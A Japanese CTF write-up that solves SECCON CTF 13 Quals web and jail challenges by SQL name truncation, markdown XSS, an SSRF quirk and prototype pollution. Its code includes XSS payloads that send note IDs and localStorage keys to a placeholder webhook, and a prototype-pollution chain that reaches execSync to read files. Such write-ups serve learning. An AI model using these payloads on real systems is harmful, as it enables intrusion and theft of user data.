SECCON CTF 13 Quals writeup

2024/11/25に公開

FCCPC として SECCON CTF 13 Quals に参加し、全体 40 位(国内 12 位)でした。まともに CTF 始めたのが今年の 9 月くらいで、人生初の writeup です。

国内決勝は 8 チームまでなのでだめそう。最後に実装が間に合わなかった問題が解けていれば決勝行けていたので悔しい。

web の問題が得意なので、web を中心に解いていた。

競技時間中に解いた問題

  • (web) Trillion Bank (84 solves)
  • (web) Tanuki Udon (41 solves)
  • (web) self-ssrf (23 solves)
  • (jail) pp4 (41 solves)

解法が思いついていたが実装が間に合わず終了 30 分後に解けた問題

  • (web) JavaScrypto (13 solves)

Trillion Bank

問題の概要

POST /api/registerでユーザー登録すると、残高 10 のユーザーが作成される。
POST /api/transferで、自分から指定したユーザー名に送金できる。
そして、残高が Trillion (10^12) になるとGET /api/meのレスポンスにフラグが含まれる。
単純にユーザー作りまくって送りまくるのでは時間かかりすぎて無理。

/api/transfer の脆弱性

transfer では自分自身に送金することはできず、残高より大きい値や負の値も送金できないようにチェックされている。ただ、このエンドポイント内では以下の SQL が実行される。ここに怪しい点がある。

UPDATE users SET balance = balance - ? WHERE id = ?
UPDATE users SET balance = balance + ? WHERE name = ?

最初のクエリで自分の残高を減らし、2 番目のクエリで相手の残高を増やすことで送金を実装しているが、この 2 番目のクエリは、もし同じユーザー名が存在する場合はそのユーザー名のユーザー全てに送金される。これが利用できると、この銀行の金が倍になるということなので、指数関数的にお金を増やしていけそう。(この倍々ゲームのアイディアはチームメイトの saltcandy123 が思いついた)

同じユーザー名のユーザー登録

しかし、ユーザー登録時に以下のチェックがあり、単純に同じユーザー名のユーザーを作ることはできなさそう。

const names = new Set();
// ...
if (names.has(name)) {
    res.status(400).send({ msg: 'Already exists' });
    return;
}
names.add(name);

DB は MySQL(mysql:8.0.40)を使っている。たしか MySQL はデフォルトでは大文字小文字を区別しないのでuser0USER0が作れれば解けるが、以下の正規表現のチェックもあったため、小文字か数字のみでないといけない。

if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: 'Invalid name' });
    return;
}

name の最大文字数があるのか調べるために、データベースのテーブルを確認してみる。

CREATE TABLE users (
  id INT AUTO_INCREMENT NOT NULL,
  name TEXT NOT NULL,
  balance BIGINT NOT NULL,
  PRIMARY KEY (id)
)

name が TEXT だが、ググってみたら MySQL の TEXT は最大 65,535 文字までだった。これは利用できそう。

早速ユーザー名を 100,000 文字くらいにして登録すると、DB では 65,535 文字で残りは切り捨てられることを確認した。これで、同じユーザー名のユーザーを作ることができ、transfer で倍々ゲームができるようになる。

解法

送金対象が自分自身になっているか確認するために、

SELECT * FROM users WHERE name = ?

の結果の最初の行の id で照合しているので、user0 -> user1, user1 -> user0 と送金を繰り返すことはできない。
これを回避するために、user1 -> user0, user0 -> user2, user2 -> user0 と送金することで、user0 の残高を指数関数的に増やしていくことができる。

以下のようなコードでフラグが得られる。

prefix = random.randint(100000, 999999)
# 65535 文字
user0 = f'{prefix}{"b" * (65535 - 6)}'
# 65535 + 6 文字
user1 = f'{prefix}{"b" * 65535}'
# 9 文字
user2 = f'{prefix}{"tmp"}'
await register(session0, user0)
await register(session1, user1)
await register(session2, user2)

initial_balance = 10
multiplier = 1.6 # 計算めんどかったので適当に設定(1より大きければ指数的に増えるのですぐにTrillion超える)

for i in range(60):
    amount = int(initial_balance * (multiplier ** i))
    await transfer(session1, user0, amount)     # user1 -> user0 and user1
    await transfer(session0, user2, amount * 2) # user0 -> user2
    await transfer(session2, user0, amount * 2) # user2 -> user0 and user1
print(await get_me(session0))
print(await get_me(session1))
print(await get_me(session2))

フラグ

{"id":4049,"iat":1732495711,"balance":29447451079600,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}
{"id":4050,"iat":1732495712,"balance":58894902159190,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}
{"id":4051,"iat":1732495712,"balance":10}

Tanuki Udon

問題の概要

Title と Content を入力してノートを作成できる。Content はマークダウン形式で書ける。
URL を提出すると、puppeteer 製 bot が、フラグをノートに書き込んで保存する。その後、提出した URL を読み込んでくれる。
/にアクセスすると、ログインしているユーザーのノート一覧が表示されるので、bot にそれをアクセスさせ、結果をどうにか盗み見るとフラグが得られる。
これは CTF ではよくあるタイプの問題で、スクリプトを仕込んだ悪質な HTML をノートに埋め込み、それを bot に読ませ、フラグを盗み見るというもの。

マークダウンから HTML への変換

以下のコードで、マークダウンから HTML への変換が行われている。入力 HTML のエスケープ処理が行われている。

const escapeHtml = (content) => {
  return content
    .replaceAll('&', '&')
    .replaceAll(`"`, '"')
    .replaceAll(`'`, ''')
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const markdown = (content) => {
  const escaped = escapeHtml(content);
  return escaped
    .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
    .replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
    .replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
    .replace(/  $/mg, `<br>`);
}

例えば、こんな感じに変換されている。

![image](http://example.com/a.png) -> <img alt="image" src="http://example.com/a.png"></img>
[link](http://example.com) -> <a href="http://example.com">$1</a>
**text** -> <strong>text</strong>

この変換の脆弱性

もし"altsrchrefに入れられるのだとしたら、srcb" onerror=alert(1) "とかにして、<img alt="a" src="b" onerror=alert(1) "">とかできてしまう。
しかし、escapeHtmlでエスケープされているので、単純にこれはできない。

そこで、markdown内でreplaceが順番に行われていることに注目すると、マークダウンを 2 重にしておかしなことができることに気づく。
たとえば、imgaltにマークダウンのリンクが入った 2 重構造のマークダウンを作ってやると、

<img alt="<a href="http://example.com">$1</a>" src="http://example.com/a.png"></img>

のようになる。こうすることで、imgaltの構造を破壊することができた。これを利用する。

![a[b](c)]( src=d onerror=location='javascript:alert(1)' )

こうすることで、imgonerrorを生やすことができ、alert(1)が実行される。XSS 成功。

解法

あとはノートの URL を取得するスクリプトを書いて、いい感じにエスケープしたりする。

  1. /にアクセスさせる
  2. 結果のノート URL 部分を regex で取得
  3. それを Webhook URL に付与して、location.href にセット
  4. Webhook のログを確認

以下のコードで出力されるマークダウンもどきをノートに貼り、そのノートを admin bot に提出

script=`fetch('/').then(res=>res.text()).then(r=>r.match(/note\\\\/[a-zA-Z0-9]+/g).join(',')).then(r=>location.href='https://REPLACE_WITH_YOUR_WEBHOOK_URL?'+r)`
escaped = script.replace(/\(/g, '\\x28').replace(/\)/g, '\\x29').replace(/'/g, '\\x27')
console.log(`![a[b](c)]( src=d onerror=location='javascript:${escaped}' )`)

フラグ

SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}

self-ssrf

問題の概要

問題のコードはとてもシンプル。

import express from 'express';

const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;

const app = express();

app.use('/', (req, res, next) => {
    if (req.query.flag === undefined) {
        const path = '/flag?flag=guess_the_flag';
        res.send(`Go to <a href="${path}">${path}</a>`);
    } else next();
});

app.get('/flag', (req, res) => {
    res.send(
        req.query.flag === FLAG // Guess the flag
            ? `Congratz! The flag is '${FLAG}'.`
            : `<marquee>🚩🚩🚩</marquee>`
    );
});

app.get('/ssrf', async (req, res) => {
    try {
        const url = new URL(req.url, LOCALHOST);

        if (url.hostname !== LOCALHOST.hostname) {
            res.send('Try harder 1');
            return;
        }
        if (url.protocol !== LOCALHOST.protocol) {
            res.send('Try harder 2');
            return;
        }

        url.pathname = '/flag';
        url.searchParams.append('flag', FLAG);
        res.send(await fetch(url).then((r) => r.text()));
    } catch {
        res.status(500).send(':(');
    }
});

app.listen(PORT);

最初のapp.use('/')req.query.flagがない場合は、/flag?flag=guess_the_flagにリダイレクトする。ある場合は/flag/ssrfにアクセスする。

GET /flagでは、req.query.flagが本物のフラグと一致するかチェックしている。
GET /ssrfでは、req.urlhttp://localhost:3000/をベースにした URL に変換し、パスを/flagにして、その URL に本物のフラグをsearchParamsに追加し、その URL にアクセスしている。
一見、/ssrfにアクセスすればフラグが得られそうに見えるが、/flag?flag=a&flag=real_flagとなってしまうので、req.query.flagが配列となってしまい、req.query.flag === FLAGというチェックに引っかかってしまう。つまり、fetch のときにflagが一つでないとこのチェックは通らない。

解法

express(qs)の query のパースと、Bun のURLsearchParamsの処理の違いとかかなあと思い、github でコードを眺めたりしていたが全然思いつかず。適当に flag 前後に特殊文字とか追加して実験しまくる。Bun の中で UTF-8 の BOM を無視する系のコードを見たので、試しにflag前後に UTF-8 BOM (\uFEFF)を追加して送ってみた。
なんと、フラグが得られた。実際なんでこれができるのかは、ちゃんと内部のコードを追っていないので説明できないけどコンテスト中なのでとりあえず次の問題へ。

ちなみに、fetch や curl ではなく、生の HTTP リクエストを送っている。

const net = require('net');
const client = new net.Socket();

client.connect(3000, 'self-ssrf.seccon.games', () => {
    client.write(
        `GET http://localhost:3000/ssrf?flag\uFEFF HTTP/1.1\r\nHost: self-ssrf.seccon.games:3000\r\n\r\n`
    );
});

client.on('data', (data) => {
    console.log('data:', data.toString());
    client.end();
});

フラグ

Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'.

pp4

問題の概要

以下のコードが実行されている。どうやら最初の入力でプロトタイプ汚染させ、その上で最大 4 種の文字だけでなるコードを実行させるというもの。
フラグは/flag-<hash>.txtというパスにあり、具体的なファイル名は分からない。

// Step 1: Prototype Pollution
const json = (await rl.question('Input JSON: ')).trim();
console.log(clone(JSON.parse(json)));

// Step 2: JSF**k with 4 characters
const code = (await rl.question('Input code: ')).trim();
if (new Set(code).size > 4) {
    console.log('Too many :(');
    return;
}
console.log(eval(code));

プロトタイプ汚染ができるので、最初に

{"__proto__": { "a": "b" } }

という入力を与えておくと、JavaScript のコード内で({}).a({})['a'][]['a']の結果は'b'になる。
これをうまいこと利用して文字種が減らし、fs.readdirSync('/')やらを実行させファイル名を取得し、それを読み込んでフラグを得る問題。

解法

結論から言うと、使う文字種は[]()の 4 種類。

プロトタイプ汚染で

{"__proto__": { "": "ぽにょぽにょ" } }

としておくと、[][[]][]['']と同じなので、[] だけで"ぽにょぽにょ"が得られるようになる。
そして、他の文字列も定義するために、更にこれをキーとする。

{"__proto__": { "": "ぽにょぽにょ", "ぽにょぽにょ": "ばなな" } }

こうすることで、[][[][[]]][]['ぽにょぽにょ']と同じなので、[]だけで"ばなな"が得られるようになる。

これを利用して、以下のコードと同等のものを作りたい。

[].constructor
    .constructor('return process')()
    .mainModule.require('child_process')
    .execSync('ls /flag*')
    .toJSON(); // toString() だとプロトタイプ汚染するときにバグってしまう

ちょっと書き直すとこうなる。

[]['constructor']
    ['constructor']('return process')()
    ['mainModule']['require']('child_process')
    ['execSync']('ls /flag*')
    ['toJSON']();

これは、[]()と、文字列のみで表現される。文字列部分をプロトタイプ汚染の JSON に入れておく。

{
    "__proto__": {
        "": "return process",
        "return process": "mainModule",
        "mainModule": "require",
        "require": "child_process",
        "child_process": "execSync",
        "execSync": "toJSON",
        "toJSON": "ls /flag*",
        "ls /flag*": "constructor"
    }
}

最後に、文字列を[]で表現して送る。
そうすると、まずフラグのファイル名(cat /flag-1863aa693df962ff8433c6b227d63dc0.txt)が得られ、上のls /flag*cat /flag-1863aa693df962ff8433c6b227d63dc0.txtに変換してもう 1 回送るとフラグが得られる。

フラグ

SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}

JavaScrypto

Crypto はあまり詳しくないのでなんとなく最初敬遠していたがちゃんと読んでみたら Crypto の知識いらなさそうだったので解いてみた。まあジャンル web だし。

問題の概要

Tanuki Udon と同じように、ノートを作成し、XSS を仕込んで bot にアクセスさせる問題。
ただ、ノートは暗号化されていて、localStorage に保存されている key と、サーバー上にある iv を利用して復号化されている。初回アクセス時は key はランダムで生成され、localStorage に保存される。
自分を対象に XSS を仕込むのは簡単だけど、bot 側の key が予測できないので復号化させることができない。

ノート保存の流れ

以下の 4 つの値を使って、CryptoJS.AES.encryptで暗号化されている。

  • plaintext (#noteInputに書いた内容)
  • key (ローカルストレージに保存されている)
  • iv(暗号化直前にランダム生成された値)
  • salt(暗号化直前にランダム生成された値)

そして、ivと暗号化された結果 (ciphertext)をサーバーに送る。
サーバー側では、このivciphertextを保存する。その際、ノートのidとなる UUID を生成してクライアントに返す。
その後、クライアントの localStorage に、currentIdをキーにしてこのidを保存する。

ノート読み込みの流れ

URL のパラメーターからid(なければ localStorage のcurrentId)を使って、GET /note/:noteIdで、先ほど保存したivciphertextをサーバーから取得する。
その後、以下の 3 つの値を使って、CryptoJS.AES.decryptで復号化する。

  • ciphertext
  • key (ローカルストレージに保存されている)
  • iv

プロトタイプ汚染(脆弱性のあるライブラリ)

index.htmlに、見たことのないライブラリを使っている箇所があった。

<script
    src="https://cdnjs.cloudflare.com/ajax/libs/purl/2.3.1/purl.min.js"
    integrity="sha512-xbWNJpa0EduIPOwctW2N6KjW1KAWai6wEfiC3bafkJZyd0X3Q3n5yDTXHd21MIostzgLTwhxjEH+l9a5j3RB4A=="
    crossorigin="anonymous"
    referrerpolicy="no-referrer"
></script>

調べてみると、purl@2.3.1は 10 年くらい前のものらしい。CTF でこんだけ古いライブラリを使うってことはなにかあるんだろうなあと思い脆弱性があるのかググってみると、プロトタイプ汚染ができるらしい。
コードを読んでみると、ライブラリ内のこの辺のコードが原因だとわかる。

function merge(parent, key, val) {
    if (~key.indexOf(']')) {
        var parts = key.split('[');
        parse(parts, parent, 'base', val);
    } else {
        if (!isint.test(key) && isArray(parent.base)) {
            var t = {};
            for (var k in parent.base) t[k] = parent.base[k];
            parent.base = t;
        }
        if (key !== '') {
            set(parent.base, key, val);
        }
    }
    return parent;
}
function parseString(str) {
    return reduce(
        String(str).split(/&|;/),
        function (ret, pair) {
            try {
                pair = decodeURIComponent(pair.replace(/\+/g, ' '));
            } catch (e) {}
            var eql = pair.indexOf('='),
                brace = lastBraceInKey(pair),
                key = pair.substr(0, brace || eql),
                val = pair.substr(brace || eql, pair.length);
            val = val.substr(val.indexOf('=') + 1, val.length);
            if (key === '') {
                key = pair;
                val = '';
            }
            return merge(ret, key, val);
        },
        { base: {} }
    ).base;
}
function set(obj, key, val) {
    var v = obj[key];
    if (typeof v === 'undefined') {
        obj[key] = val;
    } else if (isArray(v)) {
        v.push(val);
    } else {
        obj[key] = [v, val];
    }
}

index.html内にあるpurl().param().idでこのpurlの関数を呼び出している。
試しにhttp://localhost:3000/?__proto__[ponyo]=pollutedみたいにすると、プロトタイプ汚染ができることが確認できた。
とはいえ、プロトタイプ汚染を使って攻撃できる場所がなかなか見つからない。

CryptoJS

CryptoJS 内に何かプロトタイプ汚染できそうな箇所がないのか探すことにした。
note.jsで以下のように key を生成しているので、random(16)の結果を固定できれば攻撃できそうだと思ったが、デバッガで攻撃可能性を探っていたがrandom内にはどうやらなさそう。

const getOrCreateKey = () => {
    if (!localStorage.getItem('key')) {
        const rawKey = CryptoJS.lib.WordArray.random(16);
        localStorage.setItem('key', rawKey.toString(CryptoJS.enc.Base64));
    }
    return localStorage.getItem('key');
};

次に注目したのがnote.jsdecryptNote

const decryptNote = ({ key, iv, ciphertext }) => {
    const rawKey = CryptoJS.enc.Base64.parse(key);
    const rawIv = CryptoJS.enc.Base64.parse(iv);
    const rawPlaintext = CryptoJS.AES.decrypt(ciphertext, rawKey, {
        iv: rawIv,
    });
    return rawPlaintext.toString(CryptoJS.enc.Latin1);
};

localStorage内の key を固定できなくても、base64 のパース結果をどうにかできればいけそう。デバッガでステップ実行し、base64 のパースロジックを解析する。

parse: function (t) {
      var e = t.length,
          r = this._map;
      if (!(i = this._reverseMap))
          for (
              var i = (this._reverseMap = []), o = 0;
              o < r.length;
              o++
          )
              i[r.charCodeAt(o)] = o;
      for (
          var n,
              s,
              c = r.charAt(64),
              a = (!c || (-1 !== (c = t.indexOf(c)) && (e = c)), t),
              h = e,
              l = i,
              f = [],
              d = 0,
              u = 0;
          u < h;
          u++
      )
          u % 4 &&
              ((s = l[a.charCodeAt(u - 1)] << ((u % 4) * 2)),
              (n = l[a.charCodeAt(u)] >>> (6 - (u % 4) * 2)),
              (s = s | n),
              (f[d >>> 2] |= s << (24 - (d % 4) * 8)),
              d++);
      return U.create(f, d);
  },
  _map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',

this._reverseMapは最初は初期化されておらず、一旦初期化したら次から再利用するようになっている。
ということは、this._reverseMapをプロトタイプ汚染で先に値を定義してやれば、自由な値にすることができる。

Base64 parse の結果をいじる

this._reverseMapは、this._mapの逆引きをしているようだ。
例えばthis._mapは、0 -> A, 1 -> B, ...のような変換だが、this._reverseMapは、A -> 0, B -> 1 のような変換をするためのオブジェクトになっている。つまり、this._reverseMap[x]が全てのxに対して 0 を返すように定義すれば、全ての base64 はAAAAAAAAAAAA..という base64 と同等になる。
これで、bot 上での key を 0x0000000000000000 に固定できる。ついでにivも固定されてしまうが、こちらで攻撃用ノートを作成するときにivを自分で指定できるので問題ない。

decrypt 内部での base64 パース

これで一見解けたような気がしたが、実はciphertextも base64 なので、CryptoJS.AES.decrypt内でも、内部的に上記の base64 パースのコードが呼ばれてしまっている。
そうすると、全てのciphertextAAAAAAAAAAAA..という base64 と同等になって、何を書いても同じ値に復号化されてしまう。
このパースだけ例外的に処理したい。

自作の base64

サーバー側のコードを読んでいると、POST /noteではiv, ciphertextを受け取り、メモリ上に保存するが、それらの値については、stringかどうかについてしかチェックしていない。
つまり、base64 以外の文字種(適当な記号とか)も含めることもできる。
更に、CryptoJS 内の base64 パースでも、base64 以外の文字種については特に例外を発生させたりはしていない。
これを利用して、例えば * -> 0, @ -> 1, ...というように、base64 の使用文字を自分で自由に設定することができる。

本来の base64 ではABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=を使うが、これに含まれる文字だけで新しい base64 を定義してやり、ciphertextを本来の base64 から新しい base64 に変換してやれば、keyivは本来の base64 なので、0x0000000000000000 に固定でき、ciphertextは自由な値にすることができる。

このあたりで、残り時間的に間に合うか微妙だったので、暇そうにしていたチームメイトで元競プロ勢の kyuridenamida に、自作 base64 の割り当てと、ciphertextを新しい base64 に変換する処理を書き始めてもらうことにして、その間に残りの部分を考えることにした。

上書きされちゃう currentId

ここまでで任意のスクリプトを bot に実行させることができる。しかし、これだけではまだ攻撃はできない。
index.html内にあるこのコードを見てみよう。

readNote({
    id,
    key,
}).then((content) => {
    if (content) {
        localStorage.setItem('currentId', id);
        document.getElementById('note').innerHTML = content;
    } else {
        document.getElementById('note').innerHTML = 'Failed to read';
    }
});

フラグが保存されてるノートの id が bot のブラウザの localStorage で、currentIdに保存されているが、攻撃用のノートを読み込ませると、そのノートを HTML 上に表示させる前にcurrentIdを攻撃用ノートの id で置き換えられてしまう。そうすると、例え任意のスクリプトが実行できたとしても、そのスクリプト内でcurrentIdを読み込んでも攻撃用ノートの id になってしまう。つまりフラグ用の id が得られない。

だが、もし並列にページを表示させ、

  1. ページ 1 で攻撃用ノートを読み込み
  2. ページ 2 でフラグノートを読み込み(デフォルトでは前回表示したノートが読み込まれるため、パラメータ無しでページを開くだけ)
  3. ページ 1 でcurrentIdを上書き
  4. ページ 1 でスクリプト読み込み
  5. ページ 2 でcurrentIdを上書き(フラグノート)
  6. ページ 1 でスクリプト実行

という流れにすれば、ページ 1 で、ページ 2 が上書きしたフラグノートの id を取得できる。

攻撃用ページの作成・ホスティング

複数ページを表示させるのは、この与えられたサイト上では不可能だが、自分でページを作成し、window.openを使ってページを 2 つ開くことで実現できる。
window.openではなく iframe も試してみたけど localStorage の値は読み込めないみたい。

<html>
    <body>
        <script>
            // setTimeoutは必要ないかも
            setTimeout(() => {
                // 攻撃用ノート
                window.open(
                    `http://web:3000/?id=REPLACE_WITH_ATTACK_NOTE_ID&__proto__[_reverseMap][0]=0&__proto__[_reverseMap][1]=1...`, // ほんとはもっと続く
                    '_blank'
                );

                // フラグ用ノート
                window.open('http://web:3000/', '_blank');
            }, 1000);
        </script>
    </body>
</html>

これを ngrok を使ってホスティングする。

攻撃用ノートのアップロード

こんなスクリプトが実行できれば、bot のcurrentIdkey を取得できる。

setTimeout(() => {
    location.href =
        'https://REPLACE_WITH_WEBHOOK_URL?' +
        localStorage.getItem('currentId') +
        ':' +
        localStorage.getItem('key');
}, 2000);

imgタグのonerrorを利用する。ノートの内容はこうなる。

<img
    src="a"
    onerror="setTimeout(()=>{location.href='https://REPLACE_WITH_WEBHOOK_URL?'+localStorage.getItem('currentId')+':::'+localStorage.getItem('key') }, 2000)"
/>

このノートの内容を一旦ローカルから、keyivを 0x0000000000000000 に固定した状態でアップロードする。すると、base64 のciphertextが得られる。

こうして得たciphertextを自作 base64 に変換(この変換スクリプトは kyuridenamida に書いてもらう)して、以下のスクリプトを自分のブラウザに貼り付け、攻撃用ノートとしてアップロードする。

(async () => {
    const { id } = await fetch('/note', {
        method: 'POST',
        body: JSON.stringify({
            iv: 'AAAAAAAAAAAAAAAAAAAAAA==',
            ciphertext: 'これを自作base64でエンコードされた値に置き換える',
        }),
        headers: {
            'content-type': 'application/json',
        },
    }).then((r) => r.json());
    return id;
})();

時間切れ

時間ギリギリに kyuridenamida の変換スクリプト完成!!これでフラグゲット!!
と思ったらスクリプトが少しバグっていた?みたいでダメだった。。。
kyuridenamida は 24 時間起きていて眠いのに無茶振りしてしまったが、良くやってくれたと思います。ありがとうございました。

終了後に修正したスクリプト

コンテスト終了後にスクリプトを少し修正して、得られたciphertextと URL パラメーターを使ったら id と key が得られた。

let originalReverseMap = JSON.parse(
    `[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,62,null,null,null,63,52,53,54,55,56,57,58,59,60,61,null,null,null,64,null,null,null,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,null,null,null,null,null,null,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51]`
);

let newmap = [...originalReverseMap];
cnt = 0;
for (let i = 0; i < 140; i++) {
    if (originalReverseMap[i] === null || originalReverseMap[i] === undefined) {
        newmap[i] = cnt++;
    } else {
        newmap[i] = null;
    }
}

console.log(
    'URLパラメーター',
    newmap
        .map((e, i) =>
            e == null
                ? `__proto__[_reverseMap][${i}]=0`
                : `__proto__[_reverseMap][${i}]=${e}`
        )
        .filter((e) => e)
        .join('&')
);

newrev = {};
for (let i = 0; i < 140; i++) {
    newrev[newmap[i]] = i;
}

const payload = `本来のbase64でエンコードされたciphertext`;

const newb64 = payload
    .split('')
    .map(
        (e) =>
            `\\x${newrev[org[e.charCodeAt(0)]].toString(16).padStart(2, '0')}`
    )
    .join('');
console.log('ciphertext', newb64);

自分のブラウザで、localStorage のkeyを webhook で得られた値にして、URL で得られたidを指定したらフラグが得られた。

フラグ

SECCON{I_can't_make_real_crypto_challenges}

Discussion